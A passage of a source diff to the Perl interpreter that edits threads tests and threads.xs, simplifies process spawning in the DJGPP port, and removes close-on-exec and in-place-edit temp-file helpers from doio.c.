sub's pad wasn't for a lexical, then a core dump could occur. # Otherwise, there might be leaked scalars. diff --git a/dist/threads/t/thread.t b/dist/threads/t/thread.t index 4dc1a292d840..8f4f156967c9 100644 --- a/dist/threads/t/thread.t +++ b/dist/threads/t/thread.t @@ -161,7 +161,7 @@ package main; # bugid #24165 -run_perl(prog => 'use threads 2.21;' . +run_perl(prog => 'use threads 2.15;' . 'sub a{threads->create(shift)} $t = a sub{};' . '$t->tid; $t->join; $t->tid', nolib => ($ENV{PERL_CORE}) ? 0 : 1, diff --git a/dist/threads/t/unique.t b/dist/threads/t/unique.t deleted file mode 100644 index a9cfdbbcd22a..000000000000 --- a/dist/threads/t/unique.t +++ /dev/null @@ -1,81 +0,0 @@ -use strict; -use warnings; - -BEGIN { - use Config; - if (! $Config{'useithreads'}) { - print("1..0 # SKIP Perl not compiled with 'useithreads'\n"); - exit(0); - } - if ($] >= 5.027000) { - print("1..0 # SKIP 'unique' attribute no longer exists\n"); - exit(0); - } -} - -use ExtUtils::testlib; - -use threads; - -BEGIN { - if (! eval 'use threads::shared; 1') { - print("1..0 # SKIP threads::shared not available\n"); - exit(0); - } - - $| = 1; - print("1..6\n") ; ### Number of tests that will be run ### -} - -print("ok 1 - Loaded\n"); - -### Start of Testing ### - -no warnings 'deprecated'; # Suppress warnings related to :unique - -my $test :shared = 2; - -# bugid 24383 - :unique hashes weren't being made readonly on interpreter -# clone; check that they are. - -our $unique_scalar : unique; -our @unique_array : unique; -our %unique_hash : unique; -threads->create(sub { - lock($test); - my $TODO = ":unique needs to be re-implemented in a non-broken way"; - eval { $unique_scalar = 1 }; - print $@ =~ /read-only/ - ? '' : 'not ', "ok $test # TODO $TODO - unique_scalar\n"; - $test++; - eval { $unique_array[0] = 1 }; - print $@ =~ /read-only/ - ? '' : 'not ', "ok $test # TODO $TODO - unique_array\n"; - $test++; - if ($] >= 5.008003 && $^O ne 'MSWin32') { - eval { $unique_hash{abc} = 1 }; - print $@ =~ /disallowed/ - ? '' : 'not ', "ok $test # TODO $TODO - unique_hash\n"; - } else { - print("ok $test # SKIP $TODO - unique_hash\n"); - } - $test++; - })->join; - -# bugid #24940 :unique should fail on my and sub declarations - -for my $decl ('my $x : unique', 'sub foo : unique') { - { - lock($test); - if ($] >= 5.008005) { - eval $decl; - print $@ =~ /^The 'unique' attribute may only be applied to 'our' variables/ - ? '' : 'not ', "ok $test - $decl\n"; - } else { - print("ok $test # SKIP $decl\n"); - } - $test++; - } -} - - diff --git a/dist/threads/threads.xs b/dist/threads/threads.xs index 3da9165c274b..838276545c0b 100644 --- a/dist/threads/threads.xs +++ b/dist/threads/threads.xs @@ -35,17 +35,6 @@ # endif #endif -#ifndef CLANG_DIAG_IGNORE -# define CLANG_DIAG_IGNORE(x) -# define CLANG_DIAG_RESTORE -#endif -#ifndef CLANG_DIAG_IGNORE_STMT -# define CLANG_DIAG_IGNORE_STMT(x) CLANG_DIAG_IGNORE(x) NOOP -# define CLANG_DIAG_RESTORE_STMT CLANG_DIAG_RESTORE NOOP -# define CLANG_DIAG_IGNORE_DECL(x) CLANG_DIAG_IGNORE(x) dNOOP -# define CLANG_DIAG_RESTORE_DECL CLANG_DIAG_RESTORE dNOOP -#endif - #ifdef USE_ITHREADS #ifdef __amigaos4__ @@ -580,8 +569,6 @@ S_ithread_run(void * arg) S_set_sigmask(&thread->initial_sigmask); #endif - thread_locale_init(); - PL_perl_destruct_level = 2; { @@ -667,8 +654,6 @@ S_ithread_run(void * arg) MUTEX_UNLOCK(&thread->mutex); MUTEX_UNLOCK(&MY_POOL.create_destruct_mutex); - thread_locale_term(); - /* Exit application if required */ if (exit_app) { (void)S_jmpenv_run(aTHX_ 2, thread, NULL, &exit_app, &exit_code); @@ -885,18 +870,15 @@ S_ithread_create( reallocated (and hence move) as a side effect of calls to perl_clone() and sv_dup_inc(). Hence copy the parameters somewhere under our control first, before duplicating. */ - if (num_params) { #if (PERL_VERSION > 8) - Copy(parent_perl->Istack_base + params_start, array, num_params, SV *); + Copy(parent_perl->Istack_base + params_start, array, num_params, SV *); #else - Copy(parent_perl->Tstack_base + params_start, array, num_params, SV *); + Copy(parent_perl->Tstack_base + params_start, array, num_params, SV *); #endif - while (num_params--) { - *array = sv_dup_inc(*array, clone_param); - ++array; - } + while (num_params--) { + *array = sv_dup_inc(*array, clone_param); + ++array; } - #if (PERL_VERSION > 13) || (PERL_VERSION == 13 && PERL_SUBVERSION > 1) Perl_clone_params_del(clone_param); #endif @@ -1034,10 +1016,14 @@ S_ithread_create( MUTEX_UNLOCK(&my_pool->create_destruct_mutex); return (thread); - CLANG_DIAG_IGNORE_STMT(-Wthread-safety); +#if defined(__clang__) || defined(__clang) + CLANG_DIAG_IGNORE(-Wthread-safety); /* warning: mutex 'thread->mutex' is not held on every path through here [-Wthread-safety-analysis] */ +#endif } -CLANG_DIAG_RESTORE_DECL; +#if defined(__clang__) || defined(__clang) +CLANG_DIAG_RESTORE +#endif #endif /* USE_ITHREADS */ @@ -1175,10 +1161,10 @@ ithread_create(...) /* Let thread run. */ /* See S_ithread_run() for more detail. */ - CLANG_DIAG_IGNORE_STMT(-Wthread-safety); + CLANG_DIAG_IGNORE(-Wthread-safety); /* warning: releasing mutex 'thread->mutex' that was not held [-Wthread-safety-analysis] */ MUTEX_UNLOCK(&thread->mutex); - CLANG_DIAG_RESTORE_STMT; + CLANG_DIAG_RESTORE; /* XSRETURN(1); - implied */ @@ -1373,9 +1359,6 @@ ithread_join(...) ptr_table_store(PL_ptr_table, &other_perl->Isv_undef, &PL_sv_undef); ptr_table_store(PL_ptr_table, &other_perl->Isv_no, &PL_sv_no); ptr_table_store(PL_ptr_table, &other_perl->Isv_yes, &PL_sv_yes); -# ifdef PL_sv_zero - ptr_table_store(PL_ptr_table, &other_perl->Isv_zero, &PL_sv_zero); -# endif params = (AV *)sv_dup((SV*)params_copy, clone_params); S_ithread_set(aTHX_ current_thread); Perl_clone_params_del(clone_params); @@ -1804,9 +1787,6 @@ ithread_error(...) ptr_table_store(PL_ptr_table, &other_perl->Isv_undef, &PL_sv_undef); ptr_table_store(PL_ptr_table, &other_perl->Isv_no, &PL_sv_no); ptr_table_store(PL_ptr_table, &other_perl->Isv_yes, &PL_sv_yes); -# ifdef PL_sv_zero - ptr_table_store(PL_ptr_table, &other_perl->Isv_zero, &PL_sv_zero); -# endif err = sv_dup(thread->err, clone_params); S_ithread_set(aTHX_ current_thread); Perl_clone_params_del(clone_params); diff --git a/djgpp/djgpp.c b/djgpp/djgpp.c index 24d12f254b25..6d136e38bbf2 100644 --- a/djgpp/djgpp.c +++ b/djgpp/djgpp.c @@ -150,10 +150,9 @@ do_aspawn (pTHX_ SV *really,SV **mark,SV **sp) int do_spawn2 (pTHX_ char *cmd,int execf) { - char **argv,**a,*s,*shell,*metachars; - int rc,unixysh,result; + char **a,*s,*shell,*metachars; + int rc,unixysh; - ENTER; if ((shell=getenv("SHELL"))==NULL && (shell=getenv("COMSPEC"))==NULL) shell="c:\\command.com" EXTRA; @@ -163,7 +162,7 @@ do_spawn2 (pTHX_ char *cmd,int execf) while (*cmd && isSPACE(*cmd)) cmd++; - if (strBEGINs (cmd,"/bin/sh") && isSPACE (cmd[7])) + if (strnEQ (cmd,"/bin/sh",7) && isSPACE (cmd[7])) cmd+=5; /* save an extra exec if possible */ @@ -174,7 +173,7 @@ do_spawn2 (pTHX_ char *cmd,int execf) { if (*cmd=='.' && isSPACE (cmd[1])) goto doshell; - if (strBEGINs (cmd,"exec") && isSPACE (cmd[4])) + if (strnEQ (cmd,"exec",4) && isSPACE (cmd[4])) goto doshell; for (s=cmd; *s && isALPHA (*s); s++) ; /* catch VAR=val gizmo */ if (*s=='=') @@ -190,18 +189,14 @@ do_spawn2 (pTHX_ char *cmd,int execf) } doshell: if (execf==EXECF_EXEC) - result = convretcode (execl (shell,shell,unixysh ? "-c" : "/c",cmd,NULL),cmd,execf); - else - result = convretcode (system (cmd),cmd,execf); - goto leave; + return convretcode (execl (shell,shell,unixysh ? "-c" : "/c",cmd,NULL),cmd,execf); + return convretcode (system (cmd),cmd,execf); } - Newx (argv,(s-cmd)/2+2,char*); - SAVEFREEPV(argv); - cmd=savepvn (cmd,s-cmd); - SAVEFREEPV(cmd); - a=argv; - for (s=cmd; *s;) { + Newx (PL_Argv,(s-cmd)/2+2,char*); + PL_Cmd=savepvn (cmd,s-cmd); + a=PL_Argv; + for (s=PL_Cmd; *s;) { while (*s && isSPACE (*s)) s++; if (*s) *(a++)=s; @@ -210,19 +205,14 @@ do_spawn2 (pTHX_ char *cmd,int execf) *s++='\0'; } *a=NULL; - if (!argv[0]) { - result = -1; - goto leave; - } + if (!PL_Argv[0]) + return -1; if (execf==EXECF_EXEC) - rc=execvp (argv[0],argv); + rc=execvp (PL_Argv[0],PL_Argv); else - rc=spawnvp (P_WAIT,argv[0],argv); - result = convretcode (rc,argv[0],execf); -leave: - LEAVE; - return result; + rc=spawnvp (P_WAIT,PL_Argv[0],PL_Argv); + return convretcode (rc,PL_Argv[0],execf); } int @@ -275,7 +265,7 @@ glob_handler (__FSEXT_Fnumber n,int *rv,va_list args) STRLEN len; glob_t pglob; - if (! strBEGINs (name,"/dev/dosglob/")) + if (strnNE (name,"/dev/dosglob/",13)) break; if ((gi=searchfd (-1)) == NULL) break; diff --git a/doio.c b/doio.c index 4b8923f77c6c..becb19b080f7 100644 --- a/doio.c +++ b/doio.c @@ -60,272 +60,6 @@ #include -void -Perl_setfd_cloexec(int fd) -{ - assert(fd >= 0); -#if defined(HAS_FCNTL) && defined(F_SETFD) && defined(FD_CLOEXEC) - (void) fcntl(fd, F_SETFD, FD_CLOEXEC); -#endif -} - -void -Perl_setfd_inhexec(int fd) -{ - assert(fd >= 0); -#if defined(HAS_FCNTL) && defined(F_SETFD) && defined(FD_CLOEXEC) - (void) fcntl(fd, F_SETFD, 0); -#endif -} - -void -Perl_setfd_cloexec_for_nonsysfd(pTHX_ int fd) -{ - assert(fd >= 0); - if(fd > PL_maxsysfd) - setfd_cloexec(fd); -} - -void -Perl_setfd_inhexec_for_sysfd(pTHX_ int fd) -{ - assert(fd >= 0); - if(fd <= PL_maxsysfd) - setfd_inhexec(fd); -} -void -Perl_setfd_cloexec_or_inhexec_by_sysfdness(pTHX_ int fd) -{ - assert(fd >= 0); - if(fd <= PL_maxsysfd) - setfd_inhexec(fd); - else - setfd_cloexec(fd); -} - - -#define DO_GENOPEN_THEN_CLOEXEC(GENOPEN_NORMAL, GENSETFD_CLOEXEC) \ - do { \ - int res = (GENOPEN_NORMAL); \ - if(LIKELY(res != -1)) GENSETFD_CLOEXEC; \ - return res; \ - } while(0) -#if defined(HAS_FCNTL) && defined(F_SETFD) && defined(FD_CLOEXEC) && \ - defined(F_GETFD) -enum { CLOEXEC_EXPERIMENT, CLOEXEC_AT_OPEN, CLOEXEC_AFTER_OPEN }; -# define DO_GENOPEN_EXPERIMENTING_CLOEXEC(TESTFD, GENOPEN_CLOEXEC, \ - GENOPEN_NORMAL, GENSETFD_CLOEXEC) \ - do { \ - static int strategy = CLOEXEC_EXPERIMENT; \ - switch (strategy) { \ - case CLOEXEC_EXPERIMENT: default: { \ - int res = (GENOPEN_CLOEXEC), eno; \ - if (LIKELY(res != -1)) { \ - int fdflags = fcntl((TESTFD), F_GETFD); \ - if (LIKELY(fdflags != -1) && \ - LIKELY(fdflags & FD_CLOEXEC)) { \ - strategy = CLOEXEC_AT_OPEN; \ - } else { \ - strategy = CLOEXEC_AFTER_OPEN; \ - GENSETFD_CLOEXEC; \ - } \ - } else if (UNLIKELY((eno = errno) == EINVAL || \ - eno == ENOSYS)) { \ - res = (GENOPEN_NORMAL); \ - if (LIKELY(res != -1)) { \ - strategy = CLOEXEC_AFTER_OPEN; \ - GENSETFD_CLOEXEC; \ - } else if (!LIKELY((eno = errno) == EINVAL || \ - eno == ENOSYS)) { \ - strategy = CLOEXEC_AFTER_OPEN; \ - } \ - } \ - return res; \ - } \ - case CLOEXEC_AT_OPEN: \ - return (GENOPEN_CLOEXEC); \ - case CLOEXEC_AFTER_OPEN: \ - DO_GENOPEN_THEN_CLOEXEC(GENOPEN_NORMAL, GENSETFD_CLOEXEC); \ - } \ - } while(0) -#else -# define DO_GENOPEN_EXPERIMENTING_CLOEXEC(TESTFD, GENOPEN_CLOEXEC, \ - GENOPEN_NORMAL, GENSETFD_CLOEXEC) \ - DO_GENOPEN_THEN_CLOEXEC(GENOPEN_NORMAL, GENSETFD_CLOEXEC) -#endif - -#define DO_ONEOPEN_THEN_CLOEXEC(ONEOPEN_NORMAL) \ - do { \ - int fd; \ - DO_GENOPEN_THEN_CLOEXEC(fd = (ONEOPEN_NORMAL), \ - setfd_cloexec(fd)); \ - } while(0) -#define DO_ONEOPEN_EXPERIMENTING_CLOEXEC(ONEOPEN_CLOEXEC, ONEOPEN_NORMAL) \ - do { \ - int fd; \ - DO_GENOPEN_EXPERIMENTING_CLOEXEC(fd, fd = (ONEOPEN_CLOEXEC), \ - fd = (ONEOPEN_NORMAL), setfd_cloexec(fd)); \ - } while(0) - -#define DO_PIPESETFD_CLOEXEC(PIPEFD) \ - do { \ - setfd_cloexec((PIPEFD)[0]); \ - setfd_cloexec((PIPEFD)[1]); \ - } while(0) -#define DO_PIPEOPEN_THEN_CLOEXEC(PIPEFD, PIPEOPEN_NORMAL) \ - DO_GENOPEN_THEN_CLOEXEC(PIPEOPEN_NORMAL, DO_PIPESETFD_CLOEXEC(PIPEFD)) -#define DO_PIPEOPEN_EXPERIMENTING_CLOEXEC(PIPEFD, PIPEOPEN_CLOEXEC, \ - PIPEOPEN_NORMAL) \ - DO_GENOPEN_EXPERIMENTING_CLOEXEC((PIPEFD)[0], PIPEOPEN_CLOEXEC, \ - PIPEOPEN_NORMAL, DO_PIPESETFD_CLOEXEC(PIPEFD)) - -int -Perl_PerlLIO_dup_cloexec(pTHX_ int oldfd) -{ -#if !defined(PERL_IMPLICIT_SYS) && defined(F_DUPFD_CLOEXEC) - /* - * struct IPerlLIO doesn't cover fcntl(), and there's no clear way - * to extend it, so for the time being this just isn't available on - * PERL_IMPLICIT_SYS builds. - */ - DO_ONEOPEN_EXPERIMENTING_CLOEXEC( - fcntl(oldfd, F_DUPFD_CLOEXEC, 0), - PerlLIO_dup(oldfd)); -#else - DO_ONEOPEN_THEN_CLOEXEC(PerlLIO_dup(oldfd)); -#endif -} - -int -Perl_PerlLIO_dup2_cloexec(pTHX_ int oldfd, int newfd) -{ -#if !defined(PERL_IMPLICIT_SYS) && defined(HAS_DUP3) && defined(O_CLOEXEC) - /* - * struct IPerlLIO doesn't cover dup3(), and there's no clear way - * to extend it, so for the time being this just isn't available on - * PERL_IMPLICIT_SYS builds. - */ - DO_ONEOPEN_EXPERIMENTING_CLOEXEC( - dup3(oldfd, newfd, O_CLOEXEC), - PerlLIO_dup2(oldfd, newfd)); -#else - DO_ONEOPEN_THEN_CLOEXEC(PerlLIO_dup2(oldfd, newfd)); -#endif -} - -int -Perl_PerlLIO_open_cloexec(pTHX_ const char *file, int flag) -{ - PERL_ARGS_ASSERT_PERLLIO_OPEN_CLOEXEC; -#if defined(O_CLOEXEC) - DO_ONEOPEN_EXPERIMENTING_CLOEXEC( - PerlLIO_open(file, flag | O_CLOEXEC), - PerlLIO_open(file, flag)); -#else - DO_ONEOPEN_THEN_CLOEXEC(PerlLIO_open(file, flag)); -#endif -} - -int -Perl_PerlLIO_open3_cloexec(pTHX_ const char *file, int flag, int perm) -{ - PERL_ARGS_ASSERT_PERLLIO_OPEN3_CLOEXEC; -#if defined(O_CLOEXEC) - DO_ONEOPEN_EXPERIMENTING_CLOEXEC( - PerlLIO_open3(file, flag | O_CLOEXEC, perm), - PerlLIO_open3(file, flag, perm)); -#else - DO_ONEOPEN_THEN_CLOEXEC(PerlLIO_open3(file, flag, perm)); -#endif -} - -int -Perl_my_mkstemp_cloexec(char *templte) -{ - PERL_ARGS_ASSERT_MY_MKSTEMP_CLOEXEC; -#if defined(O_CLOEXEC) - DO_ONEOPEN_EXPERIMENTING_CLOEXEC( - Perl_my_mkostemp(templte, O_CLOEXEC), - Perl_my_mkstemp(templte)); -#else - DO_ONEOPEN_THEN_CLOEXEC(Perl_my_mkstemp(templte)); -#endif -} - -#ifdef HAS_PIPE -int -Perl_PerlProc_pipe_cloexec(pTHX_ int *pipefd) -{ - PERL_ARGS_ASSERT_PERLPROC_PIPE_CLOEXEC; - /* - * struct IPerlProc doesn't cover pipe2(), and there's no clear way - * to extend it, so for the time being this just isn't available on - * PERL_IMPLICIT_SYS builds. - */ -# if !defined(PERL_IMPLICIT_SYS) && defined(HAS_PIPE2) && defined(O_CLOEXEC) - DO_PIPEOPEN_EXPERIMENTING_CLOEXEC(pipefd, - pipe2(pipefd, O_CLOEXEC), - PerlProc_pipe(pipefd)); -# else - DO_PIPEOPEN_THEN_CLOEXEC(pipefd, PerlProc_pipe(pipefd)); -# endif -} -#endif - -#ifdef HAS_SOCKET - -int -Perl_PerlSock_socket_cloexec(pTHX_ int domain, int type, int protocol) -{ -# if defined(SOCK_CLOEXEC) - DO_ONEOPEN_EXPERIMENTING_CLOEXEC( - PerlSock_socket(domain, type | SOCK_CLOEXEC, protocol), - PerlSock_socket(domain, type, protocol)); -# else - DO_ONEOPEN_THEN_CLOEXEC(PerlSock_socket(domain, type, protocol)); -# endif -} - -int -Perl_PerlSock_accept_cloexec(pTHX_ int listenfd, struct sockaddr *addr, - Sock_size_t *addrlen) -{ -# if !defined(PERL_IMPLICIT_SYS) && \ - defined(HAS_ACCEPT4) && defined(SOCK_CLOEXEC) - /* - * struct IPerlSock doesn't cover accept4(), and there's no clear - * way to extend it, so for the time being this just isn't available - * on PERL_IMPLICIT_SYS builds. - */ - DO_ONEOPEN_EXPERIMENTING_CLOEXEC( - accept4(listenfd, addr, addrlen, SOCK_CLOEXEC), - PerlSock_accept(listenfd, addr, addrlen)); -# else - DO_ONEOPEN_THEN_CLOEXEC(PerlSock_accept(listenfd, addr, addrlen)); -# endif -} - -#endif - -#if defined (HAS_SOCKETPAIR) || \ - (defined (HAS_SOCKET) && defined(SOCK_DGRAM) && \ - defined(AF_INET) && defined(PF_INET)) -int -Perl_PerlSock_socketpair_cloexec(pTHX_ int domain, int type, int protocol, - int *pairfd) -{ - PERL_ARGS_ASSERT_PERLSOCK_SOCKETPAIR_CLOEXEC; -# ifdef SOCK_CLOEXEC - DO_PIPEOPEN_EXPERIMENTING_CLOEXEC(pairfd, - PerlSock_socketpair(domain, type | SOCK_CLOEXEC, protocol, pairfd), - PerlSock_socketpair(domain, type, protocol, pairfd)); -# else - DO_PIPEOPEN_THEN_CLOEXEC(pairfd, - PerlSock_socketpair(domain, type, protocol, pairfd)); -# endif -} -#endif - static IO * S_openn_setup(pTHX_ GV *gv, char *mode, PerlIO **saveifp, PerlIO **saveofp, int *savefd, char *savetype) @@ -402,14 +136,14 @@ Perl_do_openn(pTHX_ GV *gv, const char *oname, I32 len, int as_raw, Perl_croak(aTHX_ "panic: sysopen with multiple args, num_svs=%ld", (long) num_svs); } - return do_open_raw(gv, oname, len, rawmode, rawperm, NULL); + return do_open_raw(gv, oname, len, rawmode, rawperm); } return do_open6(gv, oname, len, supplied_fp, svp, num_svs); } bool Perl_do_open_raw(pTHX_ GV *gv, const char *oname, STRLEN len, - int rawmode, int rawperm, Stat_t *statbufp) + int rawmode, int rawperm) { PerlIO *saveifp; PerlIO *saveofp; @@ -473,7 +207,7 @@ Perl_do_open_raw(pTHX_ GV *gv, const char *oname, STRLEN len, fp = PerlIO_openn(aTHX_ NULL, mode, -1, rawmode, rawperm, NULL, 1, &namesv); } return openn_cleanup(gv, io, fp, mode, oname, saveifp, saveofp, savefd, - savetype, writing, 0, NULL, statbufp); + savetype, writing, 0, NULL); } bool @@ -527,7 +261,7 @@ Perl_do_open6(pTHX_ GV *gv, const char *oname, STRLEN len, STRLEN nlen = 0; /* New style explicit name, type is just mode and layer info */ #ifdef USE_STDIO - if (SvROK(*svp) && !memchr(oname, '&', len)) { + if (SvROK(*svp) && !strchr(oname,'&')) { if (ckWARN(WARN_IO)) Perl_warner(aTHX_ packWARN(WARN_IO), "Can't open a reference"); @@ -718,7 +452,7 @@ Perl_do_open6(pTHX_ GV *gv, const char *oname, STRLEN len, } else { if (dodup) - wanted_fd = PerlLIO_dup_cloexec(wanted_fd); + wanted_fd = PerlLIO_dup(wanted_fd); else was_fdopen = TRUE; if (!(fp = PerlIO_openn(aTHX_ type,mode,wanted_fd,0,0,NULL,num_svs,svp))) { @@ -872,7 +606,7 @@ Perl_do_open6(pTHX_ GV *gv, const char *oname, STRLEN len, say_false: return openn_cleanup(gv, io, fp, mode, oname, saveifp, saveofp, savefd, - savetype, writing, was_fdopen, type, NULL); + savetype, writing, was_fdopen, type); } /* Yes, this is ugly, but it's private, and I don't see a cleaner way to @@ -880,24 +614,21 @@ Perl_do_open6(pTHX_ GV *gv, const char *oname, STRLEN len, static bool S_openn_cleanup(pTHX_ GV *gv, IO *io, PerlIO *fp, char *mode, const char *oname, PerlIO *saveifp, PerlIO *saveofp, int savefd, char savetype, - int writing, bool was_fdopen, const char *type, Stat_t *statbufp) + int writing, bool was_fdopen, const char *type) { int fd; - Stat_t statbuf; PERL_ARGS_ASSERT_OPENN_CLEANUP; - Zero(&statbuf, 1, Stat_t); - if (!fp) { if (IoTYPE(io) == IoTYPE_RDONLY && ckWARN(WARN_NEWLINE) && should_warn_nl(oname) ) { - GCC_DIAG_IGNORE_STMT(-Wformat-nonliteral); /* PL_warn_nl is constant */ + GCC_DIAG_IGNORE(-Wformat-nonliteral); /* PL_warn_nl is constant */ Perl_warner(aTHX_ packWARN(WARN_NEWLINE), PL_warn_nl, "open"); - GCC_DIAG_RESTORE_STMT; + GCC_DIAG_RESTORE; } goto say_false; } @@ -925,17 +656,17 @@ S_openn_cleanup(pTHX_ GV *gv, IO *io, PerlIO *fp, char *mode, const char *oname, * otherwise unless we "know" the type probe for socket-ness. */ if (IoTYPE(io) && IoTYPE(io) != IoTYPE_PIPE && IoTYPE(io) != IoTYPE_STD && fd >= 0) { - if (PerlLIO_fstat(fd,&statbuf) < 0) { + if (PerlLIO_fstat(fd,&PL_statbuf) < 0) { /* If PerlIO claims to have fd we had better be able to fstat() it. */ (void) PerlIO_close(fp); goto say_false; } #ifndef PERL_MICRO - if (S_ISSOCK(statbuf.st_mode)) + if (S_ISSOCK(PL_statbuf.st_mode)) IoTYPE(io) = IoTYPE_SOCKET; /* in case a socket was passed in to us */ #ifdef HAS_SOCKET else if ( - !(statbuf.st_mode & S_IFMT) + !(PL_statbuf.st_mode & S_IFMT) && IoTYPE(io) != IoTYPE_WRONLY /* Dups of STD* filehandles already have */ && IoTYPE(io) != IoTYPE_RDONLY /* type so they aren't marked as sockets */ ) { /* on OS's that return 0 on fstat()ed pipe */ @@ -1009,15 +740,33 @@ S_openn_cleanup(pTHX_ GV *gv, IO *io, PerlIO *fp, char *mode, const char *oname, if (was_fdopen) { /* need to close fp without closing underlying fd */ int ofd = PerlIO_fileno(fp); - int dupfd = ofd >= 0 ? PerlLIO_dup_cloexec(ofd) : -1; + int dupfd = ofd >= 0 ? PerlLIO_dup(ofd) : -1; +#if defined(HAS_FCNTL) && defined(F_SETFD) + /* Assume if we have F_SETFD we have F_GETFD. */ + /* Get a copy of all the fd flags. */ + int fd_flags = ofd >= 0 ? fcntl(ofd, F_GETFD) : -1; + if (fd_flags < 0) { + if (dupfd >= 0) + PerlLIO_close(dupfd); + goto say_false; + } +#endif if (ofd < 0 || dupfd < 0) { if (dupfd >= 0) PerlLIO_close(dupfd); goto say_false; } PerlIO_close(fp); - PerlLIO_dup2_cloexec(dupfd, ofd); - setfd_inhexec_for_sysfd(ofd); + PerlLIO_dup2(dupfd, ofd); +#if defined(HAS_FCNTL) && defined(F_SETFD) + /* The dup trick has lost close-on-exec on ofd, + * and possibly any other flags, so restore them. */ + if (fcntl(ofd,F_SETFD, fd_flags) < 0) { + if (dupfd >= 0) + PerlLIO_close(dupfd); + goto say_false; + } +#endif PerlLIO_close(dupfd); } else @@ -1027,12 +776,18 @@ S_openn_cleanup(pTHX_ GV *gv, IO *io, PerlIO *fp, char *mode, const char *oname, PerlIO_clearerr(fp); fd = PerlIO_fileno(fp); } +#if defined(HAS_FCNTL) && defined(F_SETFD) && defined(FD_CLOEXEC) + if (fd >= 0 && fd > PL_maxsysfd && fcntl(fd, F_SETFD, FD_CLOEXEC) < 0) { + PerlLIO_close(fd); + goto say_false; + } +#endif IoIFP(io) = fp; IoFLAGS(io) &= ~IOf_NOLINE; if (writing) { if (IoTYPE(io) == IoTYPE_SOCKET - || (IoTYPE(io) == IoTYPE_WRONLY && fd >= 0 && S_ISCHR(statbuf.st_mode)) ) { + || (IoTYPE(io) == IoTYPE_WRONLY && fd >= 0 && S_ISCHR(PL_statbuf.st_mode)) ) { char *s = mode; if (*s == IoTYPE_IMPLICIT || *s == IoTYPE_NUMERIC) s++; @@ -1045,9 +800,6 @@ S_openn_cleanup(pTHX_ GV *gv, IO *io, PerlIO *fp, char *mode, const char *oname, else IoOFP(io) = fp; } - if (statbufp) - *statbufp = statbuf; - return TRUE; say_false: @@ -1057,193 +809,6 @@ S_openn_cleanup(pTHX_ GV *gv, IO *io, PerlIO *fp, char *mode, const char *oname, return FALSE; } -/* Open a temp file in the same directory as an original name. -*/ - -static bool -S_openindirtemp(pTHX_ GV *gv, SV *orig_name, SV *temp_out_name) { - int fd; - PerlIO *fp; - const char *p = SvPV_nolen(orig_name); - const char *sep; - - /* look for the last directory separator */ - sep = strrchr(p, '/'); - -#ifdef DOSISH - { - const char *sep2; - if ((sep2 = strrchr(sep ? sep : p, '\\'))) - sep = sep2; - } -#endif -#ifdef VMS - if (!sep) { - const char *openp = strchr(p, '['); - if (openp) - sep = strchr(openp, ']'); - else { - sep = strchr(p, ':'); - } - } -#endif - if (sep) { - sv_setpvn(temp_out_name, p, sep - p + 1); - sv_catpvs(temp_out_name, "XXXXXXXX"); - } - else - sv_setpvs(temp_out_name, "XXXXXXXX"); - - { - int old_umask = umask(0177); - fd = Perl_my_mkstemp_cloexec(SvPVX(temp_out_name)); - umask(old_umask); - } - - if (fd < 0) - return FALSE; - - fp = PerlIO_fdopen(fd, "w+"); - if (!fp) - return FALSE; - - return do_openn(gv, "+>&", 3, 0, 0, 0, fp, NULL, 0); -} - -#if defined(HAS_UNLINKAT) && defined(HAS_RENAMEAT) && defined(HAS_FCHMODAT) && \ - (defined(HAS_DIRFD) || defined(HAS_DIR_DD_FD)) && !defined(NO_USE_ATFUNCTIONS) && \ - defined(HAS_LINKAT) -# define ARGV_USE_ATFUNCTIONS -#endif - -/* Win32 doesn't necessarily return useful information - * in st_dev, st_ino. - */ -#ifndef DOSISH -# define ARGV_USE_STAT_INO -#endif - -#define ARGVMG_BACKUP_NAME 0 -#define ARGVMG_TEMP_NAME 1 -#define ARGVMG_ORIG_NAME 2 -#define ARGVMG_ORIG_MODE 3 -#define ARGVMG_ORIG_PID 4 - -/* we store the entire stat_t since the ino_t and dev_t values might - not fit in an IV. I could have created a new structure and - transferred them across, but this seemed too much effort for very - little win. - - We store it even when the *at() functions are available, since - while the C runtime might have definitions for these functions, the - operating system or a specific filesystem might not implement them. - eg. NetBSD 6 implements linkat() but only where the fds are AT_FDCWD. - */ -#ifdef ARGV_USE_STAT_INO -# define ARGVMG_ORIG_CWD_STAT 5 -#endif - -#ifdef ARGV_USE_ATFUNCTIONS -# define ARGVMG_ORIG_DIRP 6 -#endif - -#ifdef ENOTSUP -#define NotSupported(e) ((e) == ENOSYS || (e) == ENOTSUP) -#else -#define NotSupported(e) ((e) == ENOSYS) -#endif - -static int -S_argvout_free(pTHX_ SV *io, MAGIC *mg) { - PERL_UNUSED_ARG(io); - - /* note this can be entered once the file has been - successfully deleted too */ - assert(IoTYPE(io) != IoTYPE_PIPE); - - /* mg_obj can be NULL if a thread is created with the handle open, in which - case we leave any clean up to the parent thread */ - if (mg->mg_obj && IoIFP(io)) { - SV **pid_psv; -#ifdef ARGV_USE_ATFUNCTIONS - SV **dir_psv; - DIR *dir; -#endif - PerlIO *iop = IoIFP(io); - - assert(SvTYPE(mg->mg_obj) == SVt_PVAV); - - pid_psv = av_fetch((AV*)mg->mg_obj, ARGVMG_ORIG_PID, FALSE); - - assert(pid_psv && *pid_psv); - - if (SvIV(*pid_psv) == (IV)PerlProc_getpid()) { - /* if we get here the file hasn't been closed explicitly by the - user and hadn't been closed implicitly by nextargv(), so - abandon the edit */ - SV **temp_psv = av_fetch((AV*)mg->mg_obj, ARGVMG_TEMP_NAME, FALSE); - const char *temp_pv = SvPVX(*temp_psv); - - assert(temp_psv && *temp_psv && SvPOK(*temp_psv)); - (void)PerlIO_close(iop); - IoIFP(io) = IoOFP(io) = NULL; -#ifdef ARGV_USE_ATFUNCTIONS - dir_psv = av_fetch((AV*)mg->mg_obj, ARGVMG_ORIG_DIRP, FALSE); - assert(dir_psv && *dir_psv && SvIOK(*dir_psv)); - dir = INT2PTR(DIR *, SvIV(*dir_psv)); - if (dir) { - if (unlinkat(my_dirfd(dir), temp_pv, 0) < 0 && - NotSupported(errno)) - (void)UNLINK(temp_pv); - closedir(dir); - } -#else - (void)UNLINK(temp_pv); -#endif - } - } - - return 0; -} - -static int -S_argvout_dup(pTHX_ MAGIC *mg, CLONE_PARAMS *param) { - PERL_UNUSED_ARG(param); - - /* ideally we could just remove the magic from the SV but we don't get the SV here */ - SvREFCNT_dec(mg->mg_obj); - mg->mg_obj = NULL; - - return 0; -} - -/* Magic of this type has an AV containing the following: - 0: name of the backup file (if any) - 1: name of the temp output file - 2: name of the original file - 